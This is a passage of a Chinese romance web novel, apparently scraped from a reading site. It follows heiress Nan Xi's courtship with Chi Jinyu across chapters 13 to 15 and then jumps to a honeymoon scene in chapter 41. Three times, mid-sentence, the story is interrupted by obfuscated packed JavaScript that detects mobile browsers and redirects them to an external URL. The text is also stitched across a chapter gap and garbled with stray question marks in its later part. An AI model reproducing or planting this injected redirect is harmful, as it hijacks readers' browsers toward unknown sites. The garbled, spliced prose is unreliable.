可那是池靳予,出身高贵的天之骄子,不会是那个双腿残疾的哥哥。 这世上巧合那么多,就像他请她听马克西姆,多半只是个巧合。 竟然有人四点多还在播玉石翡翠,也有人四点多在网上买翡翠。那一眼能辨认出的B货种水,满屏酸洗纹,有胆子卖A货的价。 南惜没忍住点了举报。 “只可惜奶奶送我的平安锁。”她顺嘴说。 陈阿姨宽慰地笑了笑:“那都是身外物,小姐平安回来才是万幸。” 南惜努了努嘴,去冰箱拿昨晚没吃完的糕点。 道理没错,但终究可惜。 当年她的出生万众瞩目,奶奶用自己嫁妆里最珍贵的——Y国女王权杖上的翡翠,为她打造的平安锁,就这么被坏人抢走。 后来人贩落网,平安锁却下落不明,这么多年过去,也没在任何拍卖行出现。 陈阿姨叮嘱她:“热一下再吃。” 南惜拖着步子往西厨走:“知道啦。” 今日无事,南惜吃完早饭在客厅沙发上躺着,旁边有个落地的手机支架。 南映雪打视频来,正好看见她这副模样:“你懒死算啦!” 南惜慢悠悠剥着开心果:“乜事?” 南映雪朝她挤挤眼:“卓家大公子揾我问你喔。” 南惜差点咬到肉:“问我做咩?” 南映雪:“知你分手,问你要唔要新男朋友喇。” 南惜瞟她一眼:“系你想八卦啩三姐?”(是你想八卦吧三姐) 她才不信,卓英懋真能说那话。 南映雪咯咯笑起来,衣领上一圈闪钻颤得晃眼睛:“使乜讲吖,我好有心噶,好挂住你噶。”(我好关心你,好想你哒) 这姐嗲声嗲气地说想她,南惜俩胳膊一酸,密密麻麻的鸡皮疙瘩浮了一层。 得亏她不是个男人。 “你冇嘢呀嘛?系咪有病。”(你没事吧?是不是有病?) 南惜骂笑了,取下手机坐起来,一条腿盘着,另一条弯曲着用胳膊搂住,“二叔冇催你?” “呐——”南映雪抬着下巴,用眼神警告她闭嘴。 不到三十的美少女,最讨厌被人提催婚。 南惜放过她,也不准她再提卓英懋。 话题转到南映雪新订的几件漂亮礼服和珠宝——全都会打包到京城,姐妹俩一人一份。 可惜婚礼没有了,原本打算借此说服大哥放她来京城小住的南映雪心情有点down。 但比起这个,小妹摆脱渣男更值得庆幸。 电话粥煲了一上午,中午陈阿姨做西餐,南惜在后院湖边吃切好的和牛。 一片雾蒙蒙的湖光山色,像泼墨画,被屋檐雨披垂下的水帘隔开。 雨再大,也惊扰不到这里的僻静。 南惜想着三姐挂视频前的最后一番话。 说池昭明本就不适合她,以她的性格,能迁就池昭明三年,却忍不了一辈子。 她是要被人捧在手心当宝贝一样呵护的,是只要她一个眼神一句话,对方就能为她赴汤蹈火,深更半夜大风大雪也甘愿奔走的。 这世上她爸妈能做到,祁景之能做到,她未来的另一半,也要能做到才行。 而她和池昭明就像小孩过家家,能一起玩,能谈恋爱,却注定走不到最后。 南惜整个人窝在藤椅,披着毛毯抱着腿,想着这些话,雨帘中恍惚浮现出一张清俊深沉的脸。 他是说说而已,还是真的?南惜没一点头绪。 放空半晌,她终于拿过手机,懒洋洋敲字: 【有点无聊,我想出去玩。】 那人很快回复,干脆利落一个字:【好。】 昨晚才离开的库里南又驶进龙湖山庄,只用半个多小时,和他回复的那个字一样干脆利落。 今天没有演奏会,南惜没太费心打扮,化了淡妆,随意挑的耳环和手链。 昨晚洗过的头发自然柔顺地披在肩头,没有被烫成任何造型,也足够精致漂亮。 薰衣草色的香奈儿,是她和南映雪打完视频突然想穿的,南映雪那套是鹅黄色,定制的姐妹款。 她走到地库看到他,压下一阵没出息的惊艳。 池靳予白衣黑裤,衬衫扣子抵到脖颈下,虽然没打领带,简简单单的一身,却半分不减斯文矜贵。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14295710|151786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在车边没倚没靠,身躯笔直,左手揣在西裤口袋里,修长手臂微屈成慵懒的弧度,衬出一股恰到好处的松弛感。 今天工作日,他却好像来度假。 南惜撩眼看了看车门,池靳予勾着唇角为她打开,手掌拦住车顶,耐心地等她进去。 车离开地库,闯入雨帘,嗓音和煦地问她:“想去哪儿?” 南惜转过头:“去哪儿都可以吗?” 她没再那么小心客气,“您”来“您”去的把他供着,池靳予脸色晴朗许多:“都可以。” “那先往城里开吧。”南惜放松身体靠下去,“想到了我会说的。” 完事又加了句:“谢谢。” 其实她并没有想去哪里,只是突然想试试昨晚那句话。 他说会来接她,是否随时都愿意来。 她也想知道池靳予能不能接受这样的她,随意,自我,喜欢被宠爱被娇纵。 如果要为了别人而约束自己,那样的恋爱她受过,也受够了。 虽然他们之间应该不会有恋爱,只是婚姻。 那婚姻应该更现实一些。 副驾驶座位朝后仰着,南惜偏着头,看那张精雕般的侧脸。天色暗沉,他的皮肤依旧很白,轮廓被阴影加深了一些。 池靳予开着车,不会注意到这个角度,她便如那天在珠宝店一样肆意欣赏。不料过了一会儿,他淡淡开口:“这是你考虑结婚的条件之一吗?” 南惜愣了下:“什么?” 车停在红灯前,男人意味深长地望过来:“颜值。” 原来他发现她偷看了。 南惜不服输,直勾勾迎上:“那当然了,谁不喜欢长得俊的?更何况我这么漂亮。” 池昭明的颜值在圈里也靠前排,否则她不会看得上。 只不过眼前这位藏得太深,也太犯规罢了。不知道怎么长的,一个男人能长成这样,不去当明星太可惜。 似乎没料到她这么直接,池靳予略一失笑,语气是醇厚的温润:“那我算不算合格?” 问话时他眼眸太亮,雨天里的瞳孔像黑曜石,南惜溺了一秒,心口没忍住一颤,触电似的撇开目光:“好好睇睇喇。” 池靳予不懂粤语,但她慌乱躲闪的眼神能代表一切,于是他也没追问,只望着她笑。 直到后车鸣喇叭催促,才一脚油门往前开。 街景逐渐变得繁华,烟雨蒙蒙中的高楼大厦呈现出一种世界末日的灰败,无端让她想起看过的灾难片。脑子里天马行空,都是大厦倾覆,海水倒灌的悲壮场面。 如今大好河山,实在不应该想这些。南惜收拢思绪,无聊打量头上的星空顶和崭新的库里南内饰,忍不住嘟囔:“为什么选这个颜色?” 池靳予问她:“不喜欢吗?” “外面挺好看的。”南惜实话实说。她喜欢松露棕色的车漆,高级沉稳又不太闷,“不过里面配色有点怪。” 亮黄和白色拼接的座位,不知道哪个设计师想的,也许有人会欣赏得来,但不符合她个人审美。 她对于漂亮有一套自己的标准,哪怕是劳斯莱斯,她也不会口下留情。 男人侧眸看了眼旁边的亮黄色扶手,唇角惬意地勾起来:“你喜欢什么颜色?” 南惜错愕抬头,眼神再次被他攫住。 那双黑曜石像带着磁性,将她吸得毫无退路,跌跌撞撞地在他眼眸中打转。 他的嗓音在车内盘旋,酥了她半边耳朵:“我换成你喜欢的。” 14.第 14 章 南惜没告诉他喜欢紫色。 如果是车,她更钟意红内,就像她的帕拉梅拉和法拉利。 况且她还没想好两人的关系,要不要到如此暧昧的程度。 到市中心,南惜突然说想找个酒店休息。 昨晚噩梦缠身,不到四点就醒来,比熬夜喝大酒还累。过了中午没补觉,分分钟有要猝死的幻觉。 池靳予把车开到京华酒店,钥匙交给泊车门童,径直带她上顶楼。 房门是用他手机开的,南惜微微惊愕,但没问。 他领着她简单转了转,认清每间房的功能。套房三四百平,不如云宫面积大,但主卧的床一看就很柔软,白色被褥像晴天里蓬松的云团。 “这是我的私人套房,不会被打扰,你安心在这儿休息。”池靳予递给她一张木质房卡,“无聊可以四处逛逛,16楼是餐厅,17楼健身房,需要什么可以告诉我,也可以叫room service,电话拨0。” 南惜默默接过去,抬起眸看他一眼。脑子里还在想他刚才用手机开门,想这家酒店是不是他的。可印象中这里好像不是池家的产业,虽然她了解也不多,只是听祁景之提过几嘴。 “或者。”池靳予似乎误会了她的眼神,意味深长地凝视她,语气轻而缓慢:“需要我陪?” 南惜脸颊一燥,忙不迭摇头:“不用。” “那你好好休息。”池靳予笑了笑,拉开门。 出于礼节,南惜往前一步送他:“您慢走。” 池靳予还没走出去,握着门把的指尖一顿,收回来。 南惜小心脏一跳,心头窜起微妙的预感,脚尖被他抵着,往后一退,背靠在实木护墙板上。 池靳予离她很近,早已不是普通社交距离,瞬间突破了她犹豫不决的暧昧界限。 灼热的呼吸从头顶掠下,拂起她额角自然垂落的胎毛刘海。 被他指尖靠近的左耳垂像过了电,丝丝缕缕的酥麻窜开,到全身,到心脏,控到她每一个细胞都难以呼吸。 而他就停在这里,指尖并没有碰到她耳垂,呼吸也没有离她更近。 她的耳环却沾染了他手指的温度,直到那只手离开,依然颤抖轻晃,几乎和心跳一样频率。 “缠到头发了。”他解释刚才的行为,合情合理,但眼神太过直白,就好像…… 南惜细想了几秒,被一个无比贴切的形容吓到。 ——好像她是什么美味佳肴。 可那一刻短暂得像错觉。 当她晃了晃神,站在面前的依旧是那个举止有度,清雅端方的绅士。 南惜目送他离开,没敢再吱声。 关了门,把自己团进柔软的沙发里,抬手摸摸鼓噪的胸口。 中邪了吗? 怎么会对他脸热心跳? 雨点啪啪地往窗户上打,天色依旧像末日,类似的燥热感又席卷上来。 一定是这个鬼天气害的。 南惜鼓着腮帮舒了口气,按遥控关上窗帘,把灰蒙蒙的雨天隔绝在视线外。 洗完澡,在主卧云朵般的大床里美美地补了个觉,醒来已经天黑。 池靳予五点半发来过消息:【睡醒了吗?】 【醒来回个话,我让人给你送晚餐。】 许是被褥太柔软,南惜滚了一圈,有种轻盈的感觉上头,她笑着敲下两字: 【醒了。】 另一条是严叔的语音:“大小姐,池家那个过来了,我说你们都不在,他非要堵大门口,还说见不着人不回去。” 南惜点开监控APP,看见龙湖山庄大门外,正冒雨跪着的那个男人。 闭了闭眼,关掉APP,给严叔回语音:“别管他。” 窗外雨还在下,雨幕中的京城夜景,所有灯光都被折射发散,失去了原有的形状。 房间门铃响起来,南惜走过去开门,外面是穿着西装,推着餐车的酒店经理:“南小姐您好,池先生吩咐送来的晚餐。” “谢谢。”她转身回屋。 经理把餐车推进来,热腾腾的饭菜和精致饮品摆上餐桌:“您请慢用。” 等人快出去的时候,南惜叫住她:“等等。” 经理笑着回过头,恭敬欠身:“南小姐还有什么需要?” “你们这床垫是什么牌子的?好舒服。”南惜靠在玄关边,“我想给家里买一个。” 经理愣了下,随即歉意地笑了笑:“池先生套房的用品都是他自己挑选的,我们不知道,如果您需要的话,我帮您问问总经理。” “行,那你帮问问。”南惜扬着下巴点了点头,“多谢喽。” 关上门,她回到餐厅,品尝五星级酒店的晚餐。 虽然都是珍贵的空运食材,却比不上那晚在四合院,那一桌极致的风雅。 填饱肚子,桌上还剩许多,南惜没打算再吃,拿起刚响了一下的手机。 池先生:【怎么不直接问我?】 南惜:【?】 池先生:【喜欢我的床?】 看着屏幕上的字,南惜一口果汁差点喷出来。脸又热了,她严肃纠正:【是床垫。】 【我随便问问,没有别的意思。】 池先生:【想换掉家里的?】 这话明显是揭穿她的“随便问问”,看来那总经理是个大嘴巴,什么都和他说了。 南惜:【池先生,我能举报吗?】 池先生:【嗯?】 南惜:【这家酒店高层泄露顾客隐私。】 池先生:【当然可以。】 【但我觉得,这叫满足顾客需求。】 南惜哼了一声,不想理他。 池先生:【床垫是定制款,我刚和工厂打过招呼,赶工期需要四五天。】 【喜欢的话,你可以暂时住这儿。】 南惜:【谁要住……】 字打了一半又删掉。 【我没有带衣服。】犹豫两秒,发送过去,她不自觉抬手啃指甲。 不知道为什么,她好像突然很擅长麻烦这个人。也想看看他能纵容自己到什么地步。 池先生:【知道了。】 后面再没有闲聊,南惜窝在沙发上,播的电视丝毫没看进去。 心里两个小人一直在吵架。 一个说她不该把对祁景之那套用在一个还不太熟的男人身上,一个说这男人既然想娶她,那这些都是常规操作。 最后,第二个小人赢得胜利。 播完一集电视,门铃也响了,南惜换掉酒店睡袍穿上自己的衣服,才去开门。 酒店经理拖着满满当当的推车进来。 南惜道完谢把人送走,看着沙发旁至少十几个精美的袋子盒子,说不出心里什么滋味。 池先生:【这些衣服够吗?】 南惜腿上摊着一套烟紫色锦缎睡袍,瞄了眼亮起的手机,简短回复:【哦,可以。】 很快,她旁边堆满了各色各样的当季新衣,还剩最后两个袋子没拆。 池靳予又发来消息:【不太满意?】 南惜摁着那股奇怪的感觉:【没有。】 池先生:【那是对什么不满意?】 他察觉到她兴致不高。 对方问得直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14305425|151786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她也不再藏着掖着:【我以为您会过来。】 晚饭仓促,她可以体谅。 但已经过了两个多小时,她以为这些衣服他至少会亲自送,而不是派个经理跑腿完事儿。 她不喜欢被敷衍的感觉。 如果要把她的需求都交给属下去代劳,她找这样的男人,不如请个贴身助理。她又不是没钱。 南惜没等他回复,接着问:【您很忙吗?】 她也不是无理取闹的人,可以接受他被工作绊住。 池先生:【没有。】 心脏仿佛被踹了一脚。 南惜扯唇哼了一声,刚要起来,回她八百平的云宫顶层。 但很快,那人过于得体的话,像一袭微风落下来:【太晚了,我过来这边,对你不好。】 南惜扔手机的姿势顿住,哑然失笑。 她忘了他是个绅士,和池昭明那个幼稚鬼不同,池昭明喝了酒大半夜也要敲她门。 所以她习惯了,没往这方面想过。 从英国回来的少爷就是不一样,规矩得很,魏亦铭也挺绅士。 可薄慎那个骚包算什么? 南惜抱着腿,没忍住笑。 池先生:【但如果你需要,我可以来。】 南惜脸一热,急忙敲字:【我没有这个意思!】 【您早点休息吧,谢谢!】 池先生:【好,晚安。】 又过几秒:【对了。】 【衣服尺码合适吗?】 南惜:【合适的。】 他买的全都是小码。 池先生:【都试过了?】 南惜瞄了眼最后两袋:【没。】 【试不试都行吧。】 小码她可以闭眼穿。 那边“正在输入”闪烁了几遍,发过来一句:【你先看完,再说。】 南惜没太懂他的用意,把最后两个袋子捞过来,里面的东西一股脑倒在沙发上。 紧接着整个人懵了。 搞什么?要开内衣趴吗? 脸颊不是微微热,而是一瞬间爆烫,她羞愤地发过去一串:【……】 池靳予仿佛没意识到自己干了什么,一本正经:【不知道你的尺码和你喜欢的颜色款式,就随便买了点。】 南惜只想把头埋进沙发缝里。 真够“随便”的。 五颜六色的成套内衣堆满视线,她默默地按尺码归类,平均每个尺码五六套,各种款式应有尽有。 南惜不想显得没见过世面,虽然长这么大,从来没有一个人为她买过这么多内衣。 选的款式还……怪好看的。 他居然没有买A,对她身材这么有信心? 南惜咬了咬唇,假装镇定:【谢谢,有我的尺码。】 至于具体的,您就别问了。 池靳予看懂她的潜台词,十分配合地说:【那就好。】 屏幕后打字的男人仿佛在笑,南惜假装没有察觉那阵微妙的暧昧。 她想起一件正经事,发过去:【严叔说池昭明守在龙湖山庄门口,外面下雨,您要不要找人带他回家?】 池先生:【不用管他。】 南惜拧了拧眉,手指顿在屏幕上方。 就算池昭明跪到死,她也不会再动摇,可他毕竟才痊愈不久,万一出什么意外呢? 田蕙云是个不讲道理的,沾上就麻烦。 她不想再为自己的事给父母和南家惹麻烦。 正犹豫着要不要多话,对方却抢了先。 短短六个字,摁下她悬空的心脏:【睡吧,我来处理。】 15.第 15 章 睡觉前,池靳予给了她一颗定心丸:【他应该为他的行为付出代价,出任何事,与你和南家无关。】 【我派人去盯着。】 这意思就让他跪着吗? 南惜失笑,心里却有点暗爽。 她不是什么圣人,巴不得池昭明受点教训,付出点代价,否则他劈腿的成本也太便宜,只是失去一个早就厌弃的未婚妻。 反正有池靳予盯着,靠谱。于是她把心放回肚子里,裹着云朵般的被窝,深陷进柔软中央,一夜好眠。 次日醒来,头脑清新得像吸足了氧。 外面依旧在下雨,天光昏暗,满眼雾蒙蒙,却没有一丝混沌迷糊,惫懒乏力的感觉。 平时她最怕阴雨天,像被下了降头似的,做什么都打不起精神。 池靳予早上发来过消息:【出个短差,司机留在京城,有需要打他电话。】 后面跟着一串号码。 南惜没打算出门,还是回了句谢谢。 远处一片天光大亮,不知道哪儿的雨停了,她打开监控APP看龙湖那边,依旧雨丝细密。 池昭明还挺聪明,跪在有檐的地方,没有淋成落汤鸡,但缩着身子,看起来很冷。 田蕙云肯定在一边心疼,一边恶毒地骂她吧。 南惜扯了扯唇,关掉,在家庭群里@老爸:【几时返嚟?】 玥玥嘅靓仔:【明晚。】 哦,明晚。 那池昭明还得跪一天呢。 南惜耸了耸肩,正要拨内线叫早餐,门铃响了。 经理拎着熟悉的雕花食盒走进来:“池先生昨晚特地吩咐,说南小姐喜欢吃这家糕点,叫厨师一早来候着。” 没一会儿,桌上摆满精致漂亮的糕点,和一杯撒了干桂花的牛奶。 布好早餐,经理又温柔地问:“南小姐中午想吃什么?我叫人去备食材。” “不用特别准备了。”南惜觉得某人真会小题大做,她哪有那么挑剔,“中午我自己去餐厅。” 经理:“好的,我让餐厅把所有菜系都备好,给南小姐挑选。” “……” 酒店里有温泉,南惜下午把祁书艾叫过来,顺便给她带了件泳衣。 贵宾区就她们两个,雾气袅袅的无边汤池里,祁书艾来回游了一圈,笑她坐边上不敢动:“你个旱鸭子,为什么不学游泳啊?” 南惜理直气壮:“会游泳还叫旱鸭子吗?” 祁书艾从水里蹦出来,凑到她旁边八卦:“讲讲呗,池昭明那个大哥。” 南惜:“比他强。” 祁书艾:“就只比他强?” “……强得多吧。”南惜承认,“跟亦铭哥说的一样,挺有风度,会照顾人的。” 然后她讲了一些。 他第一次给她送糕点,带她去私厨吃饭,请她看演奏会,送她回家的路上还提了一盒准备好的夜宵,全是她爱吃的。 工作日她一句话,就开车去龙湖接她进城。 还有今天的早餐和午餐,整个餐厅都为她服务的夸张场面。 祁书艾瞪大眼:“这是传说中的爹系吗?” 南惜用手掌划着水,摇头:“但他好像没要求我什么。” 原本不希望南惜和池家再有任何牵扯的祁书艾,可耻地动摇了。 她漂在水面上仰头望天:“话说,你如果嫁给池靳予,池昭明就得恭恭敬敬地叫你大嫂,他会气死的,我好期待他那副表情啊。” 南惜脑中也浮现出那个画面。 “不过你还是得慎重考虑,结婚不是一拍脑门的事儿。”祁书艾叹了叹,“你俩才认识没多久呢,男人嘛,追的时候都挺用心。” 南惜端过岸上的红酒,抿了一口,嗓音轻飘飘的:“他没对我用过心。” 祁书艾微微一愣,反应过来她说的是前任。 心疼的目光闪了闪,揉揉她的头:“死渣男,不要想他了。” “没想他,就是觉得自己眼瞎。”南惜仰头喝了一大口,酒意冲上来,把眼眶熏得温热,“太蠢,太可惜。” 最好的年华,全都喂给了一条狗。 祁书艾转过头,望着她眼神失焦的模样:“宝贝,你不会不相信爱情了吧?” 南惜没有说,她给自己又倒了杯酒,一口一口闷着喝。 祁书艾游了一个来回,趴回岸边,才听见她低声呓语。 “傻子,男人没有爱情。”杯底红酒晃来晃去,目光也变得虚晃,“你以为他们有,那都是幻觉。” 她不会再傻了。 嫁给爱情就是个伪命题,她要嫁,就嫁给整个京城最好看,最有钱,最有地位的男人。 * 南惜是被祁书艾和经理搀回房间的。 终于把人放到床上,祁书艾喘着气骂:“池昭明那个狗东西,害死人,才喝几杯啊你?迟早把你酒量练回来!” 又打量了一圈百来平的宽敞主卧,咋了咋舌:“待遇还算行。” 一边给她盖被子,一边念念有词:“我跟你说,池靳予要是敢不让你蹦迪不让你喝酒不让你出去玩,老娘照样不答应。” 南惜咕哝着翻了个身。 “那我走了啊。”祁书艾凑过去拍拍她肩膀,没被搭理,兀自笑了,宠溺地捏捏她脸蛋,“小醉鬼。” 站在一旁的经理欠身笑了笑:“祁小姐早点回去休息吧,我们会照顾好南小姐的。” “行。”祁书艾给她掖好被角,“她喝醉了容易踢被子,可能还会滚下去,你们多看着点儿。” “您放心。”经理笑着点点头,“池先生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14315448|151786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特别交代过,南小姐出一点儿问题,我们都要被解雇的。” “……”祁书艾默念了句“卧槽”。 霸总小说照进现实? * 南惜半夜醒来过一次,迷迷糊糊拨弄了会儿手机,又睡了。 第二天早晨,捶着钝痛的脑袋从一片柔软中挣扎起来,到盥洗间洗漱。 虽然宿醉,镜子里的女人依旧是美的,肩头紫色锦缎半搭半露的松弛和慵懒,更添上几分诱人风情。 她对着镜子三百六十度无死角欣赏一遍,连头疼都好了许多。 护完肤,头发用鲨鱼夹卷起来,想去厨房接杯热水。主卧门一开,南惜整个人懵在原地。 沙发上那道背影同时起身,转过来,和她穿着吊带,胳膊上挂着睡衣外套,还露着瓷白的双腿赤着脚丫的模样,四目相对。 还好洗过脸梳过头,她迅速地想。 可当池靳予不太自然地撇开眼,耳廓甚至爬上一抹可疑绛色的时候,才猛地反应过来—— 她,没,穿,内,衣! “啊——”的一声,南惜飞跑回卧室,被她甩上的门强震不止,一如胸腔里不受控制的心跳。 冷静! 不就是个男人么?有什么大不了的?三条腿的男人又不稀奇。 可他为什么会在这里? 南惜清了清嗓,让自己听起来镇定:“池先生,您什么时候来的?” 该不会看到她醉酒的睡相了吧…… 他似乎就站在门边,离她很近:“今早七点。”顿了顿,又说:“我一直在客厅。” 哦,还好。 南惜松了口气:“您找我有事儿吗?” “谈谈。”他言简意赅,嗓音透着轻微的哑。 南惜疑惑地眨眼:“谈什么?” 一阵诡异的缄默后,传来对方略显无奈的语气:“南小姐,你要不要先看下手机?” 南惜脑袋一嗡,预感出了什么大事。 跑回床边,从枕头下捞出手机,解锁屏幕后的那几秒,天塌了。 昨晚喝醉酒的她,半夜两点发微信骚扰池靳予:【您什么时候回来啊?】 池先生:【明天中午,怎么了?】 南惜:【我头疼疼……】 池先生:【喝醒酒汤了吗?】 南惜:【哦……】 等了她一会儿没反应,池靳予发来一句关心:【你还好吗?】 紧接着长达十分钟的微信电话。 记忆断片,南惜丝毫不记得电话内容。大抵是她疯言疯语,不知所云,而池靳予一如往常,对她这个醉鬼温和耐心。 她只看见两行字,如道响雷劈在脑门上: 【池先生,你人好好哦。】 【我嫁给你好不好?】 40-50 第41章 第 41 章 沙发承载两个人的?重量, 陷得很低,南惜感觉自己像被海绵包裹起来。随着他呼吸游走,海绵也柔软地颤动, 像被搁在?一艘小船上, 摇摇晃晃。 施展不开的?男人抱她进房间,从两米的?边缘一直滚落到中央。 褥子里有她的?香味, 令他失控着迷。终究没忍住,从酒店送的?盒子里拆了一只?。 看着女孩同样迷乱的?双眼,贴着她,于无声黑夜里着急忙慌地叩了门。 第二天醒来,南惜眼睛都有点肿。 今天是日?常跟拍, 不会太累,但她不允许自己的?颜值打折扣。 空腹灌下一杯黑咖啡,对着镜子用美容仪按摩许久,脸和眼睛都消肿了,才通知工作人员进来化?妆。 她穿了一套美拉德色系的?复古风, 搭配网纱宽檐帽,像外国旧电影里的?富家千金。 池靳予衬衫配马甲, 十足十的?绅士。 可?南惜早已知道,绅士只?是他的?虚假表象。 今天的?日?程有骑马项目, 南惜不放心别人眼光,亲自挑了一匹白马。 工作人员在?架机位, 南惜和小白马互相熟悉。池靳予站她旁边,见近处没人, 搂着她腰低声问?:“还疼吗?” 南惜用胳膊肘捅了捅他, 眼神示意他闭嘴。 “怕你一会儿不舒服。”男人耐心解释,“虽然只?进去?一点, 但——” 她迅速抬手捂住他嘴。 脸颊红晕被藏在?精致的?妆容下,但耳朵瞬间变了颜色,凶巴巴:“再说我割了你舌头。” “抱歉。”见她这么有劲儿,相信她是真没事,池靳予笑了笑,附到她红透的?耳边,肆无忌惮:“下次我只?做,不说。” 南惜拧了他腰一把?,这人却压根不怕疼。 紧接着她也被捏了把?腰身,耳边声音更低沉滚烫:“惜惜很软,我很喜欢。” 她知道他说的?不是腰。 摄影师走过?来,南惜没机会再和他算账,狠狠地瞪了一眼。 看在?外人眼中却像眉目传情,摄影师笑着咳了咳,说:“这表情不错,一会儿来几张,你再捶捶他胸口,那娇气?劲儿噌就起来了。” 刚接这单的?时?候,摄影师听说是一对刚认识不久就联姻的?少爷千金,担心得几宿睡不着。怕两人没感觉,不配合,偏偏又是得罪不起的?人物,做好?了此行艰难的?心理准备。 可?昨天一天下来,意外地顺利又出片。 俊男靓女,干站一块儿都是风景。女孩儿镜头感像专业模特,男的?虽然看起来高冷,也不太会拍,但十分配合,让他做什么就做什么,重复几次也没不耐烦。 重要的?是,两人既恩爱又默契,哪像刚认识不久?说是谈了几年的?情侣他都信。 摄影师交代几句后,池靳予伸手要扶南惜上马。可?她没等他扶,脚踩马镫一甩就上去?了。 还回过?头,得意地冲他扬了扬眉。 男人宠溺地望着她笑,像摄影师说的?那样,站到她前方牵住马。 马上马下一个对视的?目光,就自然流露出暧昧撩人的?气?息。 摄影师没说话,按下快门。 南惜骑着马在?草坪上溜了一圈,拍下十几张单人照,然后池靳予坐到她背后。 蓝天白云,绿野苍山,马儿缓缓前行,他拥着她,虔诚的?吻落在?她发间,额头。 树林里光线涌动,马蹄浅浅地踢踏溪流,他抬起她脸颊,深深地吻住她唇。 晚上,他们去?坐了那艘与泰坦尼克同年下水的?蒸汽船。 暮色还没有降临,两岸风景笼在?橘粉的?晚霞中,蓝湖雪山,视野澄净,船舱里传来老爷爷的?吉他旋律和充满岁月味道的?歌声。 南惜站在?栏杆边,鹅黄裙摆, 格子发巾,及腰的?头发在?风中飞舞,相机里一张又一张,记录下她比晚霞更璀璨的?笑容。 拉着工作人员从船头拍到船尾,楼上拍到楼下,南惜忽然看不见池靳予的?身影。她匆匆和摄影师说了声,穿过?人群去?寻找。 直到走廊外一个侧眼,她看见原本老爷爷唱歌的?船舱里,一身白色西服的?男人抱着吉他。 望向她时?,唇角勾起温润的?笑容,手指在?琴弦上扫开第一个音符。 并不熟悉的?旋律,是她没听过?的?歌。 当他随着节奏张口时?,也是她没听过?的?那种腔调: “Heart beats fast. Colors and promises. How to be brave. How can i love when i''''m afraid to fall.”① 正宗英式腔的?英语,却带着种浪漫懒散的?调性。 她从来不知道他唱歌这么好?听,他还会弹吉他,连拨弦的?动作都那么洒脱迷人。 “I have died every day waiting for you. Darling don''''t be afraid I have loved you. For a thousand years. I‘ll love you for a thousand more. Time stands still.”② 高音是空灵通透的?,压低的?尾音带着醇厚的?气?泡感,湖面光线暗下来,他却好?像照亮了一方,耀眼得令人心颤。 歌词直白露骨,她不敢深想,只?能?沉浸在?他充满质感和男性魅力的?嗓音里。 直到最后一个音符结束,周遭雷动的?掌声中,他对着话筒,望着她,纯正英式腔卷着磁沉的?回音,透过?窗户,如晚风湖水般围绕住她: “For my wife.” 在?游客们的?起哄中,池靳予把?吉他还给老爷爷,走出舱门,目不斜视地迈向她。 周围欢呼迭起,她的?头发被风卷到他身上,裙摆也是,还有那对收不回的?痴迷目光。 他享受她的?痴迷,低头亲吻她的?唇。 所有祝福和喝彩,都被敬业的?摄影师收录到花絮。 南惜原本不喜欢当众这样,但今晚就像着了魔,配合他,甚至主动回应他。 在?异国他乡,来自不同国籍的?陌生朋友,各种语言的?祝福,给了她一种全新的?感受。 这个清凉如风的?夜晚,湖光水色,船影摇曳,被赋予了前所未有的?特殊记忆。 * 第二天上午,摄影师发了一部分原片过?来。两人颜值都是无死?角扛打型,除了色彩和光线,基本不需要大修。 南惜投在?电视屏幕上欣赏着,给她选中的?幸运儿都安排好?归宿。 “池靳予,你看这张。” “嗯。” “这张放在?老宅房间吧,蓝天和光线都拍得好?好?,你那屋子太沉闷了。” 许是中式房屋特有的?庄重感,加上常年无人居住,让她有那样的?感觉。 池靳予轻轻拥住她:“好?。” “这张适合放在?你办公室。”南惜指着两人并排而立,侧头对视的?一张,“比较正经。” 男人从善如流:“嗯。” “这张这张!”南惜激动地指了指屏幕上策马狂奔的?她,那时?他叫了一声,她回头,笑得比阳光还灿烂,“这张我好?喜欢!要做成大海报,贴在?龙湖山庄的?墙上。” 池靳予笑了笑:“家里也可?以贴。” 他说的?是和府街,他们的?家。 “你不觉得太夸张吗?”南惜翻到下一张。哪有男人愿意在?自己家贴一张超大号女人照片的?? 顿了顿,她说:“朋友去?你家作客,还以为你追星。” “是我们家。”池靳予难得和她较真,捏住她下巴转过?去?,盯着她眼睛,表情严肃地纠正。 “知道啦,我们家。”南惜笑着拉住他手。 男人反手握住,语气?认真:“我不觉得在?家贴一张你的?海报有什么问?题,我也不追星,我只?会贴我老婆的?照片。或者是我们的?合照。” “合照就算了。”南惜突然想到什么,笑出声,“你不觉得爸妈他们之前拍婚纱照,做那么大相框挂在?床头很土吗?” 池靳予跟着她笑了声:“是很土。” 那会儿大人结婚都那样,家家户户,有钱的?没钱的?,全国上下高度统一赶潮流。 